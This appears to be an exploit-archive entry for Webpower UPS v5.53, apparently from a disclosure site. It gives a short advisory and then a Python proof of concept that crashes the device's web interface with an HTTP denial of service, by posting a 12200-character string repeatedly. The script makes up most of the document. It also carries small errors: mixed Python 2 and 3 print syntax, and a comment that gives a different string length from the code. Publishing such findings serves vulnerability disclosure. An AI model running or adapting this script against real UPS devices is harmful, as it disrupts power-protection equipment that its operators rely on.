Headline
Webpower UPS 5.53 Denial Of Service
Webpower UPS version 5.53 suffers from an HTTP denial of service vulnerability. This product stop being supported nearly 10 years ago.
# Exploit Title: Webpower UPS v5.53 HTTP Denial of Service# Date: 2023-03-09# Exploit Author: Yehia Elghaly# Vendor Homepage: https://www.eaton.com/ae/en-gb.html# Software Link: https://www.eaton.com/ae/en-gb.html# Version: Revision v5.53# Tested on: WebPower UPS# CVE: N/A#!/usr/bin/env python# Webpower UPS v5.53 HTTP Denial of Service.# Discovered BY (Yehia Elghaly)import requestsurl = 'IP_Address'data = {'Long_string' : 'a' * 12200}# 19700-character patternfor i in range (16): response = requests.post(url, data=data) print("Response {}: {}".format(i+1, response.status_code)) print "crach"